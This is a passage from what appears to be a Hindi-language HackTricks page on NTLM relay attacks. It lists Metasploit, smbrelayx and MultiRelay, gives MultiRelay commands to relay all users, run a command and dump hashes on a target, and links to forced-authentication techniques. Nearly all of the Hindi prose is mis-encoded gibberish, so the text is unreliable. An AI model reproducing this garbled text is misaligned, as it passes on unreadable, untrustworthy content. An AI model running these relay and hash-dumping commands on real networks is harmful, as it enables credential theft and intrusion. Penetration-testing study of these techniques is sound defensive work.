  • Metasploit: ā¤ĒāĨā¤°āĨ‰ā¤•āĨā¤¸āĨ€, ā¤¸āĨā¤Ĩā¤žā¤¨āĨ€ā¤¯ ā¤”ā¤° ā¤ĻāĨ‚ā¤°ā¤¸āĨā¤Ĩ ā¤šāĨ‹ā¤¸āĨā¤Ÿ ā¤ĩā¤ŋā¤ĩā¤°ā¤Ŗ ā¤•āĨ‡ ā¤¸ā¤žā¤Ĩ ā¤¸āĨ‡ā¤Ÿā¤…ā¤Ē ā¤•ā¤°āĨ‡ā¤‚āĨ¤

  • smbrelayx: SMB ā¤¸ā¤¤āĨā¤°āĨ‹ā¤‚ ā¤•āĨ‹ ā¤°ā¤ŋā¤˛āĨ‡ ā¤•ā¤°ā¤¨āĨ‡ ā¤”ā¤° ā¤•ā¤Žā¤žā¤‚ā¤Ą ā¤¨ā¤ŋā¤ˇāĨā¤Ēā¤žā¤Ļā¤ŋā¤¤ ā¤•ā¤°ā¤¨āĨ‡ ā¤¯ā¤ž ā¤ŦāĨˆā¤•ā¤ĄāĨ‹ā¤° ā¤¤āĨˆā¤¨ā¤žā¤¤ ā¤•ā¤°ā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤ā¤• ā¤Ēā¤žā¤¯ā¤Ĩā¤¨ ā¤¸āĨā¤•āĨā¤°ā¤ŋā¤ĒāĨā¤ŸāĨ¤

  • MultiRelay: Responder ā¤¸āĨ‚ā¤Ÿ ā¤¸āĨ‡ ā¤ā¤• ā¤‰ā¤Ēā¤•ā¤°ā¤Ŗ ā¤œāĨ‹ ā¤ĩā¤ŋā¤ļā¤ŋā¤ˇāĨā¤Ÿ ā¤‰ā¤Ēā¤¯āĨ‹ā¤—ā¤•ā¤°āĨā¤¤ā¤žā¤“ā¤‚ ā¤¯ā¤ž ā¤¸ā¤­āĨ€ ā¤‰ā¤Ēā¤¯āĨ‹ā¤—ā¤•ā¤°āĨā¤¤ā¤žā¤“ā¤‚ ā¤•āĨ‹ ā¤°ā¤ŋā¤˛āĨ‡ ā¤•ā¤°ā¤¨āĨ‡, ā¤•ā¤Žā¤žā¤‚ā¤Ą ā¤¨ā¤ŋā¤ˇāĨā¤Ēā¤žā¤Ļā¤ŋā¤¤ ā¤•ā¤°ā¤¨āĨ‡ ā¤¯ā¤ž ā¤šāĨˆā¤ļ ā¤Ąā¤‚ā¤Ē ā¤•ā¤°ā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤šāĨˆāĨ¤

ā¤ĒāĨā¤°ā¤¤āĨā¤¯āĨ‡ā¤• ā¤‰ā¤Ēā¤•ā¤°ā¤Ŗ ā¤•āĨ‹ ā¤†ā¤ĩā¤ļāĨā¤¯ā¤•ā¤¤ā¤žā¤¨āĨā¤¸ā¤žā¤° SOCKS ā¤ĒāĨā¤°āĨ‰ā¤•āĨā¤¸āĨ€ ā¤•āĨ‡ ā¤Žā¤žā¤§āĨā¤¯ā¤Ž ā¤¸āĨ‡ ā¤¸ā¤‚ā¤šā¤žā¤˛ā¤ŋā¤¤ ā¤•ā¤°ā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤•āĨ‰ā¤¨āĨā¤Ģā¤ŧā¤ŋā¤—ā¤° ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤ž ā¤¸ā¤•ā¤¤ā¤ž ā¤šāĨˆ, ā¤œā¤ŋā¤¸ā¤¸āĨ‡ ā¤…ā¤ĒāĨā¤°ā¤¤āĨā¤¯ā¤•āĨā¤ˇ ā¤¨āĨ‡ā¤Ÿā¤ĩā¤°āĨā¤• ā¤Ēā¤šāĨā¤‚ā¤š ā¤•āĨ‡ ā¤¸ā¤žā¤Ĩ ā¤­āĨ€ ā¤šā¤Žā¤˛āĨ‡ ā¤¸ā¤•āĨā¤ˇā¤Ž ā¤šāĨ‹ā¤¤āĨ‡ ā¤šāĨˆā¤‚āĨ¤

MultiRelay ā¤¸ā¤‚ā¤šā¤žā¤˛ā¤¨

MultiRelay /usr/share/responder/tools ā¤¨ā¤ŋā¤°āĨā¤ĻāĨ‡ā¤ļā¤ŋā¤•ā¤ž ā¤¸āĨ‡ ā¤¨ā¤ŋā¤ˇāĨā¤Ēā¤žā¤Ļā¤ŋā¤¤ ā¤•ā¤ŋā¤¯ā¤ž ā¤œā¤žā¤¤ā¤ž ā¤šāĨˆ, ā¤ĩā¤ŋā¤ļā¤ŋā¤ˇāĨā¤Ÿ IPs ā¤¯ā¤ž ā¤‰ā¤Ēā¤¯āĨ‹ā¤—ā¤•ā¤°āĨā¤¤ā¤žā¤“ā¤‚ ā¤•āĨ‹ ā¤˛ā¤•āĨā¤ˇā¤ŋā¤¤ ā¤•ā¤°ā¤¤ā¤ž ā¤šāĨˆāĨ¤

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

ā¤¯āĨ‡ ā¤‰ā¤Ēā¤•ā¤°ā¤Ŗ ā¤”ā¤° ā¤¤ā¤•ā¤¨āĨ€ā¤•āĨ‡ā¤‚ ā¤ĩā¤ŋā¤­ā¤ŋā¤¨āĨā¤¨ ā¤¨āĨ‡ā¤Ÿā¤ĩā¤°āĨā¤• ā¤ĩā¤žā¤¤ā¤žā¤ĩā¤°ā¤Ŗ ā¤ŽāĨ‡ā¤‚ NTLM Relay ā¤šā¤Žā¤˛āĨ‹ā¤‚ ā¤•āĨ‹ ā¤•ā¤°ā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤ā¤• ā¤ĩāĨā¤¯ā¤žā¤Ēā¤• ā¤¸āĨ‡ā¤Ÿ ā¤Ŧā¤¨ā¤žā¤¤āĨ€ ā¤šāĨˆā¤‚āĨ¤

NTLM ā¤˛āĨ‰ā¤—ā¤ŋā¤¨ ā¤•āĨ‹ ā¤Žā¤œā¤ŦāĨ‚ā¤° ā¤•ā¤°ā¤¨ā¤ž

Windows ā¤ŽāĨ‡ā¤‚ ā¤†ā¤Ē ā¤•āĨā¤› ā¤ĩā¤ŋā¤ļāĨ‡ā¤ˇā¤žā¤§ā¤ŋā¤•ā¤žā¤° ā¤ĒāĨā¤°ā¤žā¤ĒāĨā¤¤ ā¤–ā¤žā¤¤āĨ‹ā¤‚ ā¤•āĨ‹ ā¤Žā¤¨ā¤Žā¤žā¤¨āĨ‡ ā¤Žā¤ļāĨ€ā¤¨āĨ‹ā¤‚ ā¤Ēā¤° ā¤ĒāĨā¤°ā¤Žā¤žā¤ŖāĨ€ā¤•ā¤°ā¤Ŗ ā¤•ā¤°ā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤Žā¤œā¤ŦāĨ‚ā¤° ā¤•ā¤° ā¤¸ā¤•ā¤¤āĨ‡ ā¤šāĨˆā¤‚āĨ¤ ā¤œā¤žā¤¨ā¤¨āĨ‡ ā¤•āĨ‡ ā¤˛ā¤ŋā¤ ā¤¨ā¤ŋā¤ŽāĨā¤¨ā¤˛ā¤ŋā¤–ā¤ŋā¤¤ ā¤ĒāĨƒā¤ˇāĨā¤  ā¤Ēā¤ĸā¤ŧāĨ‡ā¤‚:

Force NTLM Privileged Authentication

ā¤¸ā¤‚ā¤Ļā¤°āĨā¤­

AWS ā¤šāĨˆā¤•ā¤ŋā¤‚ā¤— ā¤¸āĨ€ā¤–āĨ‡ā¤‚ ā¤”ā¤° ā¤…ā¤­āĨā¤¯ā¤žā¤¸ ā¤•ā¤°āĨ‡ā¤‚:HackTricks Training AWS Red Team Expert (ARTE) GCP ā¤šāĨˆā¤•ā¤ŋā¤‚ā¤— ā¤¸āĨ€ā¤–āĨ‡ā¤‚ ā¤”ā¤° ā¤…ā¤­āĨā¤¯ā¤žā¤¸ ā¤•ā¤°āĨ‡ā¤‚: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks ā¤•ā¤ž ā¤¸ā¤Žā¤°āĨā¤Ĩā¤¨ ā¤•ā¤°āĨ‡ā¤‚

Last updated